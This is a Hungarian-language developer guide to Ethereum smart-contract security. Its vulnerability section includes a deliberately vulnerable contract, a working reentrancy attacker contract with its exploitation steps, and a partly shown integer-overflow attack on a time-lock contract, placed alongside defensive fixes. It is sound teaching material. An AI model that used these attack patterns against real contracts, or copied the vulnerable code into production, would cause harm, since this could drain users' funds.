Ugrás a fő tartalomra
Change page

Okosszerződés-biztonság

Utolsó módosítás: @Satglow(opens in a new tab), 2024. május 22.

Az okosszerződések rendkívüli módon rugalmasak és képesek nagy mennyiségű értéket és adatot irányítani, miközben egy megváltoztathatatlan logika alapján, a blokkláncra telepített kód szerint futnak. Ezáltal létrejött a bizalmat nem igénylő és decentralizált alkalmazások élénk ökoszisztémája, mely számos előnyt kínál a hagyományos rendszerekkel szemben. Emellett lehetőséget is jelentenek a támadók számára, akik abból akarnak nyereséget szerezni, hogy kihasználják az okosszerződések gyenge pontjait.

A nyilvános blokkláncok, mint az Ethereum, tovább bonyolítják az okosszerződések biztosításának problémáját. A telepített szerződéskód általában nem módosítható, hogy ezzel a biztonsági kockázatokat elkerüljék, eközben az okosszerződésekből ellopott eszközöket rendkívül nehéz lekövetni és a legtöbb esetben visszaszerezhetetlenek a megváltoztathatatlanság miatt.

Bár a számok változnak, de úgy becsülik, hogy a biztonsági hibák miatt az okosszerződésből ellopott vagy onnan elvesztett értékek teljes összege könnyen meghaladhatja az 1 milliárd dollárt is. Ez magába foglal olyan nagy horderejű incidenseket is, mint amilyen a DAO-hackelés volt(opens in a new tab) (3,6 millió ETH-t loptak, ami meghaladja az 1 milliárd dollárt mai áron), Parity több aláírásos tárca hackelését(opens in a new tab) (30 millió USD-t veszett el), és a Parity befagyasztott tárcaproblémát(opens in a new tab) (300 millió USD-nyi ETH örökre elérhetetlenné vált).

Ezek az esetek kötelezővé teszik a fejlesztők számára, hogy folyamatosan azon dolgozzanak, hogy az okosszerződések biztonságosak, robusztusak és ellenállók legyenek. Az okosszerződésbiztonság komoly téma, melyet minden fejlesztőnek a maga érdekében meg kell ismerni. Ez az útmutató lefedi azokat a biztonsági megfontolásokat, amelyek az Ethereum-fejlesztőknek fontosak, és forrásokat tár fel az okosszerződésbiztonság továbbfejlesztésére.

Előfeltételek

Tisztában kell lennie az okosszerződés-fejlesztés alapjaival, mielőtt a biztonsági kérdésekkel foglalkozna.

Iránymutatások a biztonságos Ethereum-okosszerződések építéséhez

1. Tervezzen megfelelő hozzáférés-szabályozást

Az okosszerződésekben a public (publikus) vagy external (külső) jelölésű függvényeket bármelyik külső tulajdonú számla (EOA) vagy szerződésszámla meghívhatja. A függvényeket szükséges nyilvánossá tenni, ha Ön azt akarja, hogy mások interakcióba lépjenek a szerződésével. A private (privát) jelölésű függvényeket csak az okosszerződésen belüli függvények hívhatják meg, külső számlák nem. Problémás lehet az összes hálózati résztvevőnek hozzáférést adni bizonyos szerződésfüggvényekhez, főleg ha így bárki végrehajthat fontos műveleteket (pl. új tokenek kibocsátása).

Ahhoz, hogy megakadályozzuk az okosszerződés függvényeinek nem hitelesített használatát, biztonságos hozzáférés-szabályozásra van szükség. A hozzáférés-szabályozás mechanizmusai az okosszerződés bizonyos függvényeinek használatát a jóváhagyott entitások csoportjára, például a szerződés kezeléséért felelős számlákra korlátozzák. A tulajdonosi minta és a szerepalapú irányítás két hasznos minta az okosszerződésben beállítható hozzáférés-szabályozásra:

Tulajdonosi minta (ownable pattern)

A tulajdonosi mintában beállítható egy cím, mint a szerződés „tulajdonosa” a szerződés létrehozása folyamán. A védett függvényekhez hozzárendelnek egy OnlyOwner-módosítót, így a szerződés azonosítani fogja az identitását a hívást végző címnek, mielőtt végrehajtaná a függvényt. A védett függvények meghívását csak akkor engedi, ha az a szerződés tulajdonosának címéről érkezik, különben elveti azt, megakadályozva az akaratlan hozzáférést.

Szerepalapú hozzáférés-szabályozás

Ha az okosszerződésben egyetlen címet regisztrálnak, mint Owner (tulajdonos), az a centralizáció kockázatát hordozza és felmerül az egyetlen meghibásodási pont lehetősége. Ha a tulajdonos számlakulcsa nyilvánossá válik, akkor a támadók hozzáférhetnek ehhez a tulajdonolt szerződéshez. Emiatt jobb opció lehet a szerepalapú hozzáférés-szabályozás mintája, ahol több adminisztratív számla van.

A szerepalapú hozzáférés-szabályozásban a fontos függvényekhez való hozzáférést elosztják a megbízott résztvevők között. Például az egyik számla felel a tokenek kibocsátásáért, miközben egy másik számla frissítéseket végez vagy megállítja a szerződést. A decentralizált hozzáférés-szabályozás ily módon kivédi az egyetlen meghibásodási pont lehetőségét és csökkenti a felhasználók részéről igényelt bizalmat.

Több aláírásos tárca használata

A biztonságos hozzáférés-szabályozásra egy másik megközelítés a több aláírásos számla használata, ami a szerződést kezeli. Az általános külső tulajdonú számlához (EOA) képest a több aláírásos számlákat több entitás birtokolja, és a tranzakciók végrehajtásához egy adott számú aláírásra van szükség, például 5-ből 3-ra.

Ennek használata egy újabb biztonsági réteget vezet be, mivel a szerződésen végrehajtandó akciókba több félnek is bele kell egyeznie. Ez különösen hasznos, ha a tulajdonosi mintát (ownable pattern) kell használni, mert még nehezebb a támadó vagy egy rosszhiszemű belső fél számára, hogy rossz célokra használja fel a fontos szerződésfüggvényeket.

2. Használja a require(), assert() és revert() parancsokat, hogy óvja a szerződés működését

Amint az okosszerződés telepítésre kerül a blokkláncon, bárki meg tudja hívni a benne lévő publikus függvényeket. Mivel nem lehet tudni előre, hogy a külső tulajdonú számlák hogyan fognak interakciókat folytatni a szerződéssel, ezért ideális esetben belső óvintézkedéseket kell tenni a problémás működésekkel kapcsolatban a telepítés előtt. Az okosszerződésben elő lehet írni a megfelelő viselkedést a require(), assert() és revert() parancsokkal, hogy ha bizonyos feltételek nem teljesülnek, akkor leálljon és visszaforgassa a változásokat.

require(): a require (szükséges) parancsot a függvények elején kell meghatározni, és biztosítja, hogy a megadott feltételek teljesülnek, mielőtt a függvény végrehajtásra kerül. A require parancs révén validálni lehet a felhasználó által adott adatokat, ellenőrizhetők az állapotváltozók, vagy hitelesíteni lehet a meghívó számla identitását, mielőtt a függvény elindulna.

assert(): az assert() (állítás) parancsot a belső hibák felderítésére használják, illetve a kódban lévő „konstansok” megsértését ellenőrzik ezáltal. A konstans egy logikai állítás a szerződés státuszáról, amelynek teljesülnie kell minden függvénymeghívás esetén. Például egy tokenszerződés maximális teljes kínálata vagy egyenlege. Az assert() használata biztosítja, hogy a szerződés nem kerül sebezhető státuszba, és ha mégis, akkor az állapotváltozók visszaállnak a korábbi értékekre.

revert(): a revert() (visszatér) kódot egy if-else parancsban használhatjuk, ami egy kivételt ad, ha a szükséges feltételek nem teljesülnek. Az alábbi példaszerződés a revert() kódot arra használja, hogy védje a függvények végrehajtását:

1pragma solidity ^0.8.4;
2
3contract VendingMachine {
4 address owner;
5 error Unauthorized();
6 function buy(uint amount) public payable {
7 if (amount > msg.value / 2 ether)
8 revert("Not enough Ether provided.");
9 // Perform the purchase.
10 }
11 function withdraw() public {
12 if (msg.sender != owner)
13 revert Unauthorized();
14
15 payable(msg.sender).transfer(address(this).balance);
16 }
17}
Összes megjelenítése

3. Tesztelje az okosszerződéseket és ellenőrizze a kód helyességét

Az Ethereum virtuális gépen érvényes kódváltoztathatatlanság miatt az okosszerződéseknél jelentős minőség-ellenőrzésre van szükség a fejlesztési időszakban. Tesztelje szerződését kiterjedt módon, és figyelje meg, hogy kap-e váratlan eredményeket, így fejlesztheti a biztonságot és megvédheti a felhasználókat hosszú távon is.

Ennek megszokott módja, hogy kicsi egységteszteket ír tesztadattal, melyet a szerződés a felhasználóktól kapna. Az egységtesztelés arra jó, hogy bizonyos függvények működését kipróbálja, és így biztosítja, hogy az okosszerződés az elvárt módon működik.

Sajnos az egységtesztelés minimálisan növeli az okosszerződés biztonságát, ha azt izolációban használják. Az egységteszt megmutathatja, hogy egy függvény megfelelően működik-e a tesztadatokra, de csak annyira hatásos, amennyire jó tesztet írnak hozzá. Nehéz beazonosítani a kimaradt eseteket és sebezhetőségeket, amelyek kompromittálhatják az okosszerződés biztonságát.

Jobb megközelítés az egységtesztelés tulajdonságalapú teszteléssel (property-based testing) való kombinálása, amely statikus és dinamikus elemzést használ. A statikus elemzés olyan alacsony szintű reprezentációkon alapul, mint amilyen a kontrollfolyamat-grafikon(opens in a new tab) és az absztrakt szintaxisfák(opens in a new tab), hogy elemezze az elérhető programstátuszokat és végrehajtási utakat. A dinamikus elemzési technikák, mint az okosszerződés fuzzing(opens in a new tab), a szerződéskódot véletlenszerű értékekkel hajtják végre, hogy feltárják azokat a működéseket, amelyek nem felelnek meg a biztonsági tulajdonságoknak.

A formális ellenőrzés (formal verification) egy másik technika az okosszerződések biztonsági tulajdonságainak igazolására. A megszokott teszteléshez képest a formális ellenőrzés képes egyértelműen bizonyítani, hogy nincsenek hibák az okosszerződésben. Ezt úgy éri el, hogy egy formális specifikációt hoz létre, amely a kívánt biztonsági tulajdonságokat rögzíti, majd bizonyítja, hogy a szerződések formális modellje megfelel ennek a specifikációnak.

4. Kérjen egy független átvizsgálást a kódjára

Miután tesztelte a szerződését, kérjen meg másokat is, hogy ellenőrizzék le a kódot a lehetséges biztonsági problémák szempontjából. A tesztelés nem tárja fel az okosszerződés minden hibáját, de egy független vizsgálat megnöveli annak valószínűségét, hogy kiderülnek a sebezhető pontok.

Auditok

Az okosszerződés auditálása az egyik módja a független kódvizsgálatnak. Az auditorok fontos szerepet játszanak abban, hogy az okosszerződések biztonságosak legyenek és ne legyenek bennük minőségi és tervezési hibák.

Mindazonáltal fontos megjegyezni, hogy az audit nem old meg minden problémát. Az okosszerződés-auditok nem tárnak fel minden egyes hibát, és a terv általában egy második körös ellenőrzés, hogy azokat a problémákat kiszúrja, ami a fejlesztőknek nem vált világossá a fejlesztés és tesztelés során. Kövesse a bevált gyakorlatokat az auditorokkal való munka kapcsán(opens in a new tab), mint amilyen a kód megfelelő dokumentálása és a sorokhoz kapcsolt kommentek, amelyek révén az okosszerződés-auditból a lehető legtöbb előnyt ki lehet hozni.

Hibavadászatok

Egy másik megoldás lehet a hibavadászat-program felállítása, amellyel külsődleges kódvizsgálatot lehet végezni. A hibavadászat pénzügyi jutalommal jár olyan egyéneknek (általában fehérkalapos hackereknek), akik sebezhető pontokat fedeznek fel az alkalmazásban.

Ez a jutalom a hibavadászatért, ha megfelelően használják, kellő motivációt jelenthet a hackerközösség bizonyos tagjai számára, hogy átnézzék az Ön kódját is kritikus hibákat keresve. Valós példa lehet a „végtelen mennyiségű pénz hiba”, ami egy támadónak lehetővé teszi, hogy határtalan mennyiségű ethert hozzon létre az Optimism-mal(opens in a new tab), egy második blokkláncréteg (L2) protokollal az Ethereumon. Szerencsére egy fehérkalapos hacker felfedezte a hibát(opens in a new tab) és értesítette a csapatot, amelyet jelentős pénzösszeggel jutalmaztak(opens in a new tab).

Hasznos stratégia lehet, ha a kifizetés összegét arányosan kezelik a hiba által veszélybe kerülő pénzeszközök értékével. Ezt „skálázódó hibavadászatnak(opens in a new tab)” is nevezhetjük, ami pénzügyi motivációt ad az egyéneknek, hogy inkább feltárják a gyenge pontokat és ne kihasználják azokat.

5. Kövesse a bevált gyakorlatokat az okosszerződésfejlesztés során

Az auditok és hibavadászatok nem csökkentik az Ön felelősségét, hogy jó minőségű kódot írjon. A megfelelő okosszerződés-biztonság azzal kezdődik, hogy megfelelő tervezési és fejlesztési folyamatokat követ:

6. Vezessen be komoly leállást követő helyreállítási tervet

A biztonságos hozzáférés-szabályozási terv, a függvénymódosítók bevezetése és más javaslatok fejlesztik az okosszerződés biztonságát, de nem zárhatják ki a lehetőségét egy ártó szándékú támadásnak. A biztonságos okosszerződés építése megkívánja azt is, hogy „felkészüljön a hibára”, és kidolgozzon egy tervet, amely alapján hatásosan tud reagálni egy támadásra. Egy megfelelő hibát vagy leállást követő helyreállítási terv (disaster recovery plan) a következő komponensek néhány vagy összes elemét tartalmazza:

Szerződésfrissítések

Miközben az Ethereum-okosszerződések alapvetően megváltozhatatlanok, mégis el lehet érni egy bizonyos fokú változtathatóságot a frissítési minták alkalmazásával. A szerződések frissítése elkerülhetetlen ha egy kritikus hiba miatt a régi szerződés használhatatlan lesz, és az új logika bevezetése a legjobb megoldás.

A szerződésfrissítési mechanizmusok másképp működnek, de a „proxyminta” az egyik legnépszerűbb megközelítés az okosszerződések frissítésére. A proxyminta(opens in a new tab) az alkalmazás státuszát és logikáját két szerződésre választja szét. Az első szerződés (a proxyszerződés) tárolja az állapotváltozókat (például a felhasználó egyenlegét), miközben a második szerződés (a logikaszerződés) tartalmazza a szerződés függvényeinek végrehajtási kódját.

A számlák a proxyszerződéssel kerülnek interakcióba, amely elküldi a függvénymeghívásokat a logikaszerződésbe a delegatecall()(opens in a new tab) kódot, egy alacsony szintű meghívást használva. A delegatecall() a megszokott üzenethíváshoz képest biztosítja, hogy a kód a logikaszerződés címén lefut a meghívó szerződés kontextusában. Tehát a logikaszerződés mindig a proxy tárhelyére ír (nem a sajátjába) és megőrzi a msg.sender és msg.value eredeti értékeit.

Ahhoz, hogy hívást lehessen delegálni a logikai szerződésnek, a címét el kell tárolni a proxyszerződés tárhelyén. Tehát a szerződés logikáját úgy lehet frissíteni, hogy egy új logikai szerződést kell telepíteni és eltárolni az új címet a proxyszerződésben. Mivel az ezt követő hívások a proxyszerződés felől automatikusan az új logikaszerződéshez kerülnek átirányításra, a kód változtatása nélkül végülis „frissítésre” kerül a szerződés.

Bővebben a szerződések frissítéséről.

Vészleállítások

Ahogy már említettük, sem a kiterjedt audit, sem a tesztelés nem képes felfedezni az okosszerződés összes hibáját. Ha a telepítés után sebezhető pont jelenik meg a kódjában, akkor azt nem lehet kijavítani, mert a szerződés címén futó kód megváltoztathatatlan. Emellett a frissítési mechanizmust (például a proxymintákat) időbe telik bevezetni (gyakran több jóváhagyást is igényelnek), ami csak időt ad a támadóknak, hogy több kárt okozzanak.

A radikális megoldás egy „vészleállítás” bevezetése, ami blokkolja azokat a hívásokat, melyek a szerződés sérülékeny függvényeire vonatkoznak. A vészleállítás általában a következő komponensekből áll:

  1. Egy globális boolean változó, mely jelzi, ha az okosszerződés leállított állapotban van vagy nem. Ezt a változót false értékre állítják a szerződés telepítésekor, de átvált true értékre, amint a szerződés leáll.

  2. Függvények, melyek a boolean-változóra hivatkoznak a végrehajtásuk során. Ezek a függvények akkor érhetők el, amikor az okosszerződés nincs leállítva, és elérhetetlenné válnak, amikor a vészleállítás megtörténik.

  3. Egy entitás, amelynek hozzáférése van a vészleállítási funkcióhoz, és a boolean változót true értékre állítja. Az esetleges visszaélés miatt ezt a funkciót csak egy megbízott cím hívhatja meg (például a szerződés tulajdonosa).

Amint a szerződés aktiválja a vészleállást, bizonyos függvényeket nem lehet meghívni. Ezt úgy érik el, hogy a select függvényeket becsomagolják egy módosítóba, amely a globális változóra hivatkozik. Alább egy példa(opens in a new tab) látható, amely ennek a mintának a szerződésbe való bevezetését mutatja be:

1// This code has not been professionally audited and makes no promises about safety or correctness. Use at your own risk.
2
3contract EmergencyStop {
4
5 bool isStopped = false;
6
7 modifier stoppedInEmergency {
8 require(!isStopped);
9 _;
10 }
11
12 modifier onlyWhenStopped {
13 require(isStopped);
14 _;
15 }
16
17 modifier onlyAuthorized {
18 // Check for authorization of msg.sender here
19 _;
20 }
21
22 function stopContract() public onlyAuthorized {
23 isStopped = true;
24 }
25
26 function resumeContract() public onlyAuthorized {
27 isStopped = false;
28 }
29
30 function deposit() public payable stoppedInEmergency {
31 // Deposit logic happening here
32 }
33
34 function emergencyWithdraw() public onlyWhenStopped {
35 // Emergency withdraw happening here
36 }
37}
Összes megjelenítése
Másolás

Ez a példa a vészleállás alapvető jellemzőit ismerteti:

  • Az isStopped egy boolean, melynek értéke false az elején és true, amikor a szerződés vészmódba lép.

  • Az onlyWhenStopped és stoppedInEmergency függvénymódosítók ellenőrzik az isStopped változót. A stoppedInEmergency azokat a függvényeket kontrollálja, amelyeknek elérhetetlennek kell maradniuk, amikor a szerződés sebezhető (például a deposit()). Az ezekre a függvényekre vonatkozó hívások egyszerűen visszafordulnak.

Az onlyWhenStopped azokhoz a függvényekhez használandó, amelyek vészhelyzetben is elérhetők (például az emergencyWithdraw()). Ezek a függvények segíthetnek megoldani a helyzetet, ezért nem részei a „korlátozott függvények” listájának.

A vészleállítási lehetőség egy hatásos hézagpótlás ahhoz, hogy a fejlesztő a komoly sebezhetőségeket kezelni tudja az okosszerződésében. Ugyanakkor a felhasználóktól több bizalmat igényel a fejlesztők felé, hogy nem használják ki ezt a funkciót önös érdekeikre. Erre lehetséges megoldást jelenthet a vészleállítás decentralizált kontrollja, mint például egy láncon belüli szavazás, időzár alkalmazása vagy egy több aláírásos tárca általi jóváhagyás.

Eseményfigyelés

Az események(opens in a new tab) lehetővé teszik az okosszerződéshez érkező hívások trekkelését és az állapotváltozók változásának felügyeletét. Bevált gyakorlatnak számít, ha az okosszerződés mindig kiad eseményt, amikor valaki egy biztonságkritikus tevékenységet végez (például kiveszi a pénzeszközöket).

Az események naplózása és felügyelete láncon kívül betekintést enged a szerződés működésébe, valamint az ártalmas tetteket hamarabb fel lehet fedezni általuk. Így a csapat gyorsabban tud reagálni a hackelésre, és azonnal cselekedni tud, hogy a felhasználókat ez ne érintse negatívan, például leállíthatják a függvényeket vagy frissítést indíthatnak el.

Választhat egy előre összeállított felügyeleti eszközt, amely automatikusan figyelmeztetéseket küld, amikor valaki interakcióba lép az Ön szerződéseivel. Ezek az eszközök segítenek személyre szabott figyelmeztetéseket is létrehozni különféle paraméterek alapján, mint amilyen a tranzakciómennyiség, a függvénymeghívások gyakorisága vagy az érintett függvények. Például beállíthat egy figyelmeztetést, ha a kivett pénzmennyiség egy tranzakcióban egy bizonyos határ felett van.

7. Tervezzen biztonságos irányítási rendszert

Talán szeretné, hogy az alkalmazása decentralizált legyen, így a központi okosszerződések kontrollját a közösségi tagoknak adná. Ebben az esetben az okosszerződés rendszere felölel egy irányítási modult is – egy olyan mechanizmust, amellyel a közösségi tagok jóváhagyhatnak adminisztratív változásokat egy láncon belüli irányítási rendszer segítségével. Például azt a javaslatot, hogy a proxyszerződést egy új verzióra frissítsék, megszavaztathatja a tokennel rendelkező felhasználókkal.

A decentralizált irányítás előnyös lehet, főleg mivel összeegyezteti a fejlesztők és a felhasználók érdekeit. Mindazonáltal az okosszerződés irányításimechanizmusa új kockázatokat is jelenthet, ha nem megfelelően vezetik be. Kézenfekvő probléma, ha egy támadó nagyon magas szavazatierőt szerez (amit az általa birtokolt tokenek száma ad) azáltal, hogy villámhitelt vesz fel, majd egy ártó változásra tesz javaslatot.

A láncon működő irányítási modell problémáit meg lehet oldani az időzár használatával(opens in a new tab) is. Az időzár megakadályozza, hogy az okosszerződés végrehajtson bizonyos műveleteket addig, amíg nem telt el egy adott idő. Más stratégia lehet a tokenekhez rendelt „szavazati súly” az alapján, hogy azt mennyi időre kötötték le, vagy egy adott cím szavazati erejét hosszabb periódusra is nézhetik (például 2–3 korábbi blokkra) a jelenlegi blokk helyett. Ezek csökkentik a lehetőségét annak, hogy valaki gyorsan jelentős szavazati erőre tegyen szert, hogy a láncon zajló szavazást eltérítse.

Bővebben a biztonságos irányítási rendszerek tervezése(opens in a new tab) és a különféle szavazási mechanizmusok a DAO-knál(opens in a new tab) témákról.

8. Csökkentse a kód komplexitását a minimumra

A hagyományos szoftverfejlesztők elve az, hogy a lehető legegyszerűbb legyen a kód (KISS-elv), és így nem vezetnek be fölösleges bonyolításokat a tervben. Ennek alapja az az elgondolás, hogy az „összetett rendszerek összetett módokon vallhatnak kudarcot”, és sokkal hajlamosabbak a költséges hibákra.

A minél egyszerűbb megközelítés kiemelten fontos az okosszerződések írásánál is, mivel ezek nagy értékeket is kontrollálhatnak. Ennek eléréséhez érdemes létező könyvtárakat használni, mint amilyen az OpenZeppelin szerződések(opens in a new tab), amikor ez lehetséges. Mivel ezeket a könyvtárakat a fejlesztők már alaposan tesztelték, auditálták, így kisebb a hiba valószínűsége, mintha a nulláról kell megírni egy új funkcionalitást.

Másik követendő tanács az, hogy rövid függvényeket kell írni és a szerződést modulárisan kell felállítani, az üzleti logikát több szerződés között felosztva. Az egyszerű kódok írása kevesebb teret ad a támadásra, emellett a teljes rendszer helyességét is jobban lehet igazolni, és a lehetséges tervezési hibák is korán kiderülhetnek.

9. Védekezzen az okosszerződés általános sebezhetőségei ellen

Újrabelépés

Az EVM nem engedi a párhuzamosságot, tehát két szerződés egy üzenethívásban nem futhat egyszerre. Egy külső hívás megállítja a meghívó szerződés végrehajtását és memóriáját addig, amíg a hívás vissza nem tér, amikor is a végrehajtás normálisan megtörténik. Ezt a folyamatot hivatalosan úgy nevezik, hogy a kontrollfolyamat(opens in a new tab) átadása egy másik szerződésnek.

Habár általában nem jelent problémát, a kontrollfolyamat nem megbízható szerződéseknek való átadása okozhat némi gondot, például az újrabelépés lehetőségét. Újrabelépéses támadás akkor történik, amikor egy ártó szerződés visszahívást csinál egy sebezhető szerződésbe mielőtt az eredeti függvény meghívása lezárulna. Ezt a támadási fajtát a következő példával jobban elmagyarázzuk.

Vegyünk egy egyszerű okosszerződést („áldozat/victim”), ami megengedi, hogy bárki ethert helyezzen letétbe és vegyen ki:

1// This contract is vulnerable. Do not use in production
2
3contract Victim {
4 mapping (address => uint256) public balances;
5
6 function deposit() external payable {
7 balances[msg.sender] += msg.value;
8 }
9
10 function withdraw() external {
11 uint256 amount = balances[msg.sender];
12 (bool success, ) = msg.sender.call.value(amount)("");
13 require(success);
14 balances[msg.sender] = 0;
15 }
16}
Összes megjelenítése
Másolás

Ez a szerződés elérhetővé teszi a withdraw() (kivétel) függvényt a felhasználóknak, hogy a korábban letétbe helyezett ETH-t ki tudják venni. Amikor egy ilyen kivétel történik, a szerződés a következő műveleteket hajtja végre:

  1. Ellenőrzi a felhasználó ETH-egyenlegét
  2. Pénzeszközt küld a meghívó címére
  3. Átállítja az egyenleget 0-ra, hogy ne lehessen kivenni innen pénzt

A withdraw() függvény az victim (áldozat) szerződésében tehát egy „ellenőrzés-interakciók-eredmény” mintát követ. Ellenőrzi, hogy a végrehajtáshoz szükséges feltételek teljesülnek-e (a felhasználónak pozitív ETH-egyenlege van) és elvégzi az interakciót azáltal, hogy ETH-t küld a meghívó címére, majd a tranzakció eredményeit alkalmazza (lecsökkenti a felhasználó egyenlegét).

Ha a withdraw() kódot egy külső tulajdonú számláról (EOA) hívják meg, akkor a vártnak megfelelően megy végbe: msg.sender.call.value() ETH-t küld a meghívónak. Azonban, ha a msg.sender egy okosszerződéses számla, ami meghívja a withdraw() kódot, akkor a msg.sender.call.value() révén indított pénzküldés szintén beindítja a címen tárolt programkódot.

Tegyük fel, hogy a szerződéscímen ez a kód van telepítve:

1 contract Attacker {
2 function beginAttack() external payable {
3 Victim(victim_address).deposit.value(1 ether)();
4 Victim(victim_address).withdraw();
5 }
6
7 function() external payable {
8 if (gasleft() > 40000) {
9 Victim(victim_address).withdraw();
10 }
11 }
12}
Összes megjelenítése
Másolás

Ez a szerződés három dolgot csinál:

  1. Letétet fogad el egy másik számlától (valószínűleg a támadó/attacker EOA-ja)
  2. Letétbe helyez 1 ETH-t az áldozat szerződésében
  3. Kivesz 1 ETH-t, amelyet az okosszerződés tárol

Ebben még nincs semmi rossz, viszont a attacker (támadó) szerződésben van egy másik függvény is, amely meghívja a withdraw() kódot a victim (áldozat) esetében újra, ha a maradék gáz a bejövő msg.sender.call.value esetén több mint 40 000. Ezáltal a attacker újra beléphet az victim szerződésbe és kivehet több pénzt mielőtt a withdraw (kivétel) első meghívása lezárulna. A ciklus így néz ki:

1- Attacker's EOA calls `Attacker.beginAttack()` with 1 ETH
2- `Attacker.beginAttack()` deposits 1 ETH into `Victim`
3- `Attacker` calls `withdraw() in `Victim`
4- `Victim` checks `Attacker`’s balance (1 ETH)
5- `Victim` sends 1 ETH to `Attacker` (which triggers the default function)
6- `Attacker` calls `Victim.withdraw()` again (note that `Victim` hasn’t reduced `Attacker`’s balance from the first withdrawal)
7- `Victim` checks `Attacker`’s balance (which is still 1 ETH because it hasn’t applied the effects of the first call)
8- `Victim` sends 1 ETH to `Attacker` (which triggers the default function and allows `Attacker` to reenter the `withdraw` function)
9- The process repeats until `Attacker` runs out of gas, at which point `msg.sender.call.value` returns without triggering additional withdrawals
10- `Victim` finally applies the results of the first transaction (and subsequent ones) to its state, so `Attacker`’s balance is set to 0
Összes megjelenítése
Másolás

Összességében, mivel a meghívó egyenlege nem lesz 0 mindaddig, amíg a függvényvégrehajtás nem zárul le, a rákövetkező meghívások sikeresek lesznek, és megengedik a meghívónak, hogy kivegye az egyenlegét többször is. Ez a támadás alkalmas arra, hogy egy okosszerződés pénzeszközeit kifolyassák, ahogy az a 2016-os DAO hackelésnél(opens in a new tab) megtörtént. Az újrabelépéses támadás még mindig kritikus probléma az okosszerződéseknél, ahogy azt az újrabelépéses támadások nyilvános listája(opens in a new tab) mutatja.

Hogyan lehet megakadályozni egy újrabelépéses támadást

Az újrabelépés ellen az ellenőrzés-eredmények-interakciók mintát(opens in a new tab) lehet alkalmazni. Ez a minta a függvények végrehajtását úgy rendezi, hogy az a kód jön először, amely a szükséges ellenőrzéseket végzi, azután a szerződés státuszát változtatják meg, végül a más szerződésekkel vagy külső tulajdonú számlákkal (EOA) való interakció következik.

Az ellenőrzés-eredmények-interakciók minta a következőképpen néz ki a victim (áldozat) szerződésének új verziójában:

1contract NoLongerAVictim {
2 function withdraw() external {
3 uint256 amount = balances[msg.sender];
4 balances[msg.sender] = 0;
5 (bool success, ) = msg.sender.call.value(amount)("");
6 require(success);
7 }
8}
Másolás

Ez a szerződés ellenőrzi a felhasználó egyenlegét, érvényesíti a withdraw() függvény eredményét (azáltal, hogy az egyenleget 0-ra állítja), és végül elvégzi az interakciót (ETH-t küld a felhasználó címére). Ezáltal a szerződés először befrissíti a tárolt adatot, és csak utána végzi a külső hívást, így nincs lehetőség az újrabelépésre, mint korábban. Az attacker szerződés még mindig vissza tudja hívni a NoLongerAVictim (nem áldozat) szerződést, de mivel a balances[msg.sender] (egyenlege) már 0, a többi kivétel hibára fut.

Másik lehetőség egy kölcsönös kizárás (más néven mutex), amely lezárja a szerződés státuszának egy részét addig, amíg a függvénymeghívás teljesül. Ezt egy boolean változóval lehet bevezetni, ami először true (igaz) a függvényvégrehajtás előtt, majd false (hamis) lesz a meghívás befejeztével. Ahogy az alábbi példából látszik, a mutex használata megvédi a függvényt attól, hogy újra meghívják, miközben az eredeti meghívás még zajlik, így hatásosan kivédi az újrabelépést.

1pragma solidity ^0.7.0;
2
3contract MutexPattern {
4 bool locked = false;
5 mapping(address => uint256) public balances;
6
7 modifier noReentrancy() {
8 require(!locked, "Blocked from reentrancy.");
9 locked = true;
10 _;
11 locked = false;
12 }
13 // This function is protected by a mutex, so reentrant calls from within `msg.sender.call` cannot call `withdraw` again.
14 // The `return` statement evaluates to `true` but still evaluates the `locked = false` statement in the modifier
15 function withdraw(uint _amount) public payable noReentrancy returns(bool) {
16 require(balances[msg.sender] >= _amount, "No balance to withdraw.");
17
18 balances[msg.sender] -= _amount;
19 bool (success, ) = msg.sender.call{value: _amount}("");
20 require(success);
21
22 return true;
23 }
24}
Összes megjelenítése
Másolás

Továbbá a „fizetéskérés”(opens in a new tab) rendszere is használható, amelynél a felhasználó vesz ki pénzt az okosszerződésből ahelyett, hogy a szerződés „fizetésküldést” végezne a számlák felé. Így nem lehet véletlenül elindítani egy kódot ismeretlen címeken (és bizonyos szolgálatmegtagadási támadásokat is ki tud védeni).

Egész szám túlfolyása lefelé vagy felfelé

Egy egész szám akkor folyik túl felfelé, amikor egy aritmetikai művelet eredménye kívül esik az elfogadható tartományon, így az „tovább gördül” a legalacsonyabb megjeleníthető értékre. Például egy uint8 csak 2^8-1=255 értéket tud tárolni. Az aritmetikai művelet, amelynek eredménye nagyobb mint 255, túlfolyik és visszaállítja az uint kódot 0 értékre, ahhoz hasonlóan, ahogy egy autóban a megtett távolságot mérő óra is 0-ra fordul át, ha elérte a maximális értékét (999 999).

Az egész szám lefelé való túlfolyása hasonló okokból következik be: az aritmetikai művelet eredménye az elfogadható tartomány alá esik. Tegyük fel, Ön szeretné lecsökkenteni a 0 értéket egy uint8 típusú mezőben, így az egyszerűen átfordul a maximális megjeleníthető értékre (255).

Mindkét irányú túlfolyás a szerződés állapotváltozóiban váratlan változásokat eredményezhet, így nem tervezett végrehajtást okozhat. Az alábbi példa bemutatja, hogyan tudja egy támadó kihasználni az aritmetikai túlfolyást egy okosszerződésben, hogy érvénytelen műveletet hajtson végre:

1pragma solidity ^0.7.6;
2
3// This contract is designed to act as a time vault.
4// User can deposit into this contract but cannot withdraw for at least a week.
5// User can also extend the wait time beyond the 1 week waiting period.
6
7/*
81. Deploy TimeLock
92. Deploy Attack with address of TimeLock
103. Call Attack.attack sending 1 ether. You will immediately be able to
11 withdraw your ether.
12
13What happened?
14Attack caused the TimeLock.lockTime to overflow and was able to withdraw
15before the 1 week waiting period.
16*/
17
18contract TimeLock {
19 mapping(address => uint) public balances;
20 mapping(address => uint) public lockTime;
21
22 function deposit() external payable {
23 balances[msg.sender] += msg.value;
24 lockTime[msg.sender] = block.timestamp + 1 weeks;
25 }
26
27 function increaseLockTime(uint _secondsToIncrease) public {
28 lockTime[msg.sender] += _secondsToIncrease;
29 }
30
31 function withdraw() public {
32 require(balances[msg.sender] > 0, "Insufficient funds");
33 require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
34
35 uint amount = balances[msg.sender];
36 balances[msg.sender] = 0;
37
38 (bool sent, ) = msg.sender.call{value: amount}("");
39 require(sent, "Failed to send Ether");
40 }
41}
42
43contract Attack {
44 TimeLock timeLock;
45
46 constructor(TimeLock _timeLock) {
47 timeLock = TimeLock(_timeLock);
48 }
49
50 fallback() external payable {}
51
52 function attack() public payable {
53 timeLock.deposit{value: msg.value}();
54 /*
55 if t = current lock time then we need to find x such that
56 x + t = 2**256 = 0
57 so x = -t
58 2**256 = type(uint).max + 1
59 so x = type(uint).max + 1 - t
60 */
61 timeLock.increaseLockTime(
